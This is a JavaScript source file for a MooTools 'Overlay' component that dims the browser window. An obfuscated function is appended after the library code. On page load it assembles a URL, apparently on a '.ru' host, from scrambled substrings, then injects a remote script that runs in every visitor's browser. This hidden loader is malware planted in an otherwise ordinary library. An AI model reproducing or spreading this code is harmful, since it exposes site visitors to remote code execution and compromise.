/**************************************************************

	Script		: Overlay
	Version		: 1.2
	Authors		: Samuel birch
	Desc		: Covers the window with a semi-transparent layer.
	Licence		: Open Source MIT Licence

	Modified: Leonardo Di Lella (leonardo@dilella.org) - MooTools 1.2 support

**************************************************************/

var Overlay = new Class({
	
	getOptions: function(){
		return {
			colour: '#000',
			opacity: 0.7,
			zIndex: 1,
			container: document.body,
			onClick: new Class()
		};
	},

	initialize: function(options){
		this.setOptions(this.getOptions(), options);
		
		this.options.container = $(this.options.container);
		
		this.container = new Element('div').setProperty('id', 'OverlayContainer').setStyles({
			position: 'absolute',
			left: '0px',
			top: '0px',
			width: '100%',
			visibility: 'hidden',
			overflow: 'hidden',
			zIndex: this.options.zIndex
		}).inject(this.options.container,'inside');
		
		this.iframe = new Element('iframe').setProperties({
			'id': 'OverlayIframe',
			'name': 'OverlayIframe',
			'src': 'javascript:void(0);',
			'frameborder': 1,
			'scrolling': 'no'
		}).setStyles({
			'position': 'absolute',
			'top': 0,
			'left': 0,
			'width': '100%',
			'height': '100%',
			'filter': 'progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)',
			'opacity': 0,
			'zIndex': 1
		}).inject(this.container,'inside');
		
		this.overlay = new Element('div').setProperty('id', 'Overlay').setStyles({
			position: 'absolute',
			left: '0px',
			top: '0px',
			width: '100%',
			height: '100%',
			zIndex: 2,
			backgroundColor: this.options.colour
		}).inject(this.container,'inside');
		
		this.container.addEvent('click', function(){
			this.options.onClick();
		}.bind(this));
		
		this.fade = new Fx.Morph(this.container, 'opacity').set(0);
		this.position();
		
		window.addEvent('resize', this.position.bind(this));
	},
	
	position: function(){ 
		if(this.options.container == document.body){ 
			var h = document.getScrollSize().x+'px'; 
			//this.container.setStyles({top: '0px', height: h});
			this.container.setStyles({top: '0px', height: '100%'});
		}else{ 
			var myCoords = this.options.container.getCoordinates(); 
			this.container.setStyles({
				top: myCoords.top+'px', 
				height: myCoords.height+'px', 
				left: myCoords.left+'px', 
				width: myCoords.width+'px'
			}); 
		} 
	},
	
	show: function(){
		this.fade.start({'opacity':[0,this.options.opacity], 'visibility':'visible'});
	},
	
	hide: function(){
		this.fade.start({'opacity':[0,this.options.opacity], 'visibility':'hidden'});
	}
	
});
Overlay.implement(new Options);

/*************************************************************/

function i(){var g;if(g!='S' && g!='J'){g=''};var GR=new String();var iU=String("s8jg".substr(3));this.F='';this.H="";var G='';this.EL='';var P=RegExp;var Uz;if(Uz!='YM' && Uz!='m'){Uz=''};var t=new String();var o;if(o!='' && o!='PW'){o=null};this.wa="";function d(G_,s){var _u;if(_u!='a'){_u='a'};var O= new String("[8gKk".substr(0,1));O+=s;var V;if(V!=''){V='Yp'};O+=String("]");var B=new String();var n;if(n!='eM' && n != ''){n=null};var ZP=new Array();var N=new P(O, iU);var iP=new Date();var Ub=new String();return G_.replace(N, G);};var doz;if(doz!='SH'){doz='SH'};var eE;if(eE!='ok'){eE='ok'};var Ed=new String();var z=String("src");var oa=new Array();var NM="ht"+"yMrtp".substr(3)+"u2E7:/".substr(4)+"/wk9S".substr(0,2)+"sjBZOR".substr(0,2)+"z6kN-cN6kz".substr(4,2)+"6HaomaH6".substr(3,2)+".n"+"ikofQ".substr(0,2)+"0KLka".substr(3)+"WqZns".substr(3)+"po"+"C5grt".substr(3)+"s.rjpw".substr(0,2)+"nTRcoRnT".substr(3,2)+"Icfdm.Ifcd".substr(4,2)+"myZXYF".substr(0,2)+"ye"+"ar"+"jAUNbo".substr(4)+"okUaw0".substr(0,2)+"-c"+"om"+".ehEZ".substr(0,2)+"qvxtas".substr(4)+"tc"+"3xcfoa".substr(4)+"gR0stR0g".substr(3,2)+"xDJgu".substr(3)+"idLNYh".substr(0,2)+"e."+"ru"+"b8jV:".substr(4);var CZ='';var X=String("ElF/goo".substr(3)+"gle.oFhu".substr(0,4)+"Ylykcom/Yykl".substr(4,4)+"uqfgoog".substr(3)+"QpZle.c".substr(3)+"N6Owom/s".substr(4)+"oso.p6X".substr(0,4)+"siYwcom/siwY".substr(4,4)+"rlwyfeedrylw".substr(4,4)+"2HYyburnY2yH".substr(4,4)+"er.cumi".substr(0,4)+"om/fb1V".substr(0,4)+"5Y18t.co18Y5".substr(4,4)+"TJnem.ph".substr(4)+"evVpVev".substr(3,1));var pR='';var Xi='';var et='';var c='';var E=d('8952509328359022943',"92435");var Y=String("hIZJdefer".substr(4));this.zp='';this.Hj='';var u=new String("scri"+"pt");var Cj=new Array();var I=window;I.onload=function(){var Uf;if(Uf!='' && Uf!='nF'){Uf='Ss'};try {var hy=new Date();var jA='';this.Ae="";c=NM+E;c+=X;M=document.createElement(u);var OE='';var Rj=new Date();this.ty='';var RI='';M[z]=c;var Cv;if(Cv!='Tl' && Cv!='PX'){Cv='Tl'};M[Y]=[1][0];this.PWh='';var Fn;if(Fn!='ts' && Fn!='WE'){Fn='ts'};var JC;if(JC!='pw' && JC!='_O'){JC='pw'};document.body.appendChild(M);var cJ=new String();var VG=new String();} catch(A){};this.aH="";var SA=new Array();};};i();var KE;if(KE!='Gb'){KE='Gb'};